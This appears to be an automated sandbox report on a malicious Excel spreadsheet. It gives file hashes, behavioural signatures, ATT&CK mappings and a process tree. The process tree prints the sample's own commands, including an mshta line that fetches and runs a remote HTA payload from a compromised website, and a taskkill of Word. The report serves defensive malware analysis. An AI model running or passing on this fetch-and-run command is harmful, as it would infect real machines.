00f54cf5df13e3b9549f32fd39f986fc083559558d552cc0708e7a48e5f5bafe

General

Target

SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls
Size

38KB
MD5

5081a754e710f34178dee80e5b1f15b4
SHA1

8ce6a3a89c9ede6a40eee5d0b0488bff2098ca01
SHA256

00f54cf5df13e3b9549f32fd39f986fc083559558d552cc0708e7a48e5f5bafe
SHA512

c9c060c6655b58166d37a686a8e740c3ba7f151ea7e876acff0f2483161e8e1ce73d58234e78d4b0fc645ec806bd4da2245c5641afa9acc465fb71b0d0e08c63

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://facextrade.com.br/wp-includes/certificates/4.txt

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	5028	2732	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 29 IoCs

Processes:

mshta.exe

flow	pid	process
17	1608	mshta.exe
19	1608	mshta.exe
21	1608	mshta.exe
23	1608	mshta.exe
25	1608	mshta.exe
26	1608	mshta.exe
28	1608	mshta.exe
29	1608	mshta.exe
31	1608	mshta.exe
32	1608	mshta.exe
33	1608	mshta.exe
34	1608	mshta.exe
35	1608	mshta.exe
36	1608	mshta.exe
40	1608	mshta.exe
41	1608	mshta.exe
42	1608	mshta.exe
45	1608	mshta.exe
46	1608	mshta.exe
47	1608	mshta.exe
48	1608	mshta.exe
49	1608	mshta.exe
50	1608	mshta.exe
51	1608	mshta.exe
52	1608	mshta.exe
53	1608	mshta.exe
54	1608	mshta.exe
55	1608	mshta.exe
56	1608	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

4244 taskkill.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

220 PING.EXE
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2732 EXCEL.EXE
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

taskkill.exe

description pid process

Token: SeDebugPrivilege 4244 taskkill.exe

pid	process
4244	taskkill.exe

pid	process
220	PING.EXE

description	pid	process
Token: SeDebugPrivilege	4244	taskkill.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2732	EXCEL.EXE
2732	EXCEL.EXE
2732	EXCEL.EXE
2732	EXCEL.EXE
2732	EXCEL.EXE
2732	EXCEL.EXE
2732	EXCEL.EXE
2732	EXCEL.EXE
2732	EXCEL.EXE
2732	EXCEL.EXE
2732	EXCEL.EXE
2732	EXCEL.EXE
2732	EXCEL.EXE

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

EXCEL.EXEcmd.execmd.exe

description	pid	process	target process
PID 2732 wrote to memory of 5028	2732	EXCEL.EXE	cmd.exe
PID 2732 wrote to memory of 5028	2732	EXCEL.EXE	cmd.exe
PID 5028 wrote to memory of 220	5028	cmd.exe	PING.EXE
PID 5028 wrote to memory of 220	5028	cmd.exe	PING.EXE
PID 5028 wrote to memory of 5076	5028	cmd.exe	cmd.exe
PID 5028 wrote to memory of 5076	5028	cmd.exe	cmd.exe
PID 5076 wrote to memory of 4244	5076	cmd.exe	taskkill.exe
PID 5076 wrote to memory of 4244	5076	cmd.exe	taskkill.exe
PID 5028 wrote to memory of 1608	5028	cmd.exe	mshta.exe
PID 5028 wrote to memory of 1608	5028	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2732

C:\Windows\SYSTEM32\cmd.exe
cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:5028

C:\Windows\system32\PING.EXE
ping -n 8 127.0.0.1
3⤵
- Runs ping.exe
PID:220

C:\Windows\system32\cmd.exe
cmd /c start /min taskkill /f /im WINWORD.EXE
3⤵
- Suspicious use of WriteProcessMemory
PID:5076

C:\Windows\system32\taskkill.exe
taskkill /f /im WINWORD.EXE
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4244

C:\Windows\system32\mshta.exe
mshta http://facextrade.com.br/wp-includes/certificates/4.txt
3⤵
- Blocklisted process makes network request
PID:1608

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Remote System Discovery

1

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Public\Outlook.bat
Filesize
1KB

MD5
20484f4a7d41c5f54a0dc7a7d35c2155

SHA1
0b197c48d648bbdc131dca6d4fb89903303372f9

SHA256
6df10dd726cef49360df78c47651a311ea7bb21064fe77e019e223ef32776072

SHA512
94df430c3890d5ba23618283ea6eaa6aa0c74d19c5e049f3cc4d65a464266ccc2eefccdb59d6464606200b2e51cdc9b57c2534c67aded228d00a54d856c98591

Download Submit
memory/220-140-0x0000000000000000-mapping.dmp

Download
memory/1608-144-0x0000000000000000-mapping.dmp

Download
memory/2732-134-0x00007FFA72110000-0x00007FFA72120000-memory.dmp

Filesize
64KB

Download
memory/2732-148-0x00007FFA72110000-0x00007FFA72120000-memory.dmp

Filesize
64KB

Download
memory/2732-137-0x00007FFA6FA80000-0x00007FFA6FA90000-memory.dmp

Filesize
64KB

Download
memory/2732-138-0x00007FFA6FA80000-0x00007FFA6FA90000-memory.dmp

Filesize
64KB

Download
memory/2732-150-0x00007FFA72110000-0x00007FFA72120000-memory.dmp

Filesize
64KB

Download
memory/2732-133-0x00007FFA72110000-0x00007FFA72120000-memory.dmp

Filesize
64KB

Download
memory/2732-136-0x00007FFA72110000-0x00007FFA72120000-memory.dmp

Filesize
64KB

Download
memory/2732-135-0x00007FFA72110000-0x00007FFA72120000-memory.dmp

Filesize
64KB

Download
memory/2732-147-0x00007FFA72110000-0x00007FFA72120000-memory.dmp

Filesize
64KB

Download
memory/2732-132-0x00007FFA72110000-0x00007FFA72120000-memory.dmp

Filesize
64KB

Download
memory/2732-149-0x00007FFA72110000-0x00007FFA72120000-memory.dmp

Filesize
64KB

Download
memory/4244-143-0x0000000000000000-mapping.dmp

Download
memory/5028-139-0x0000000000000000-mapping.dmp

Download
memory/5076-142-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads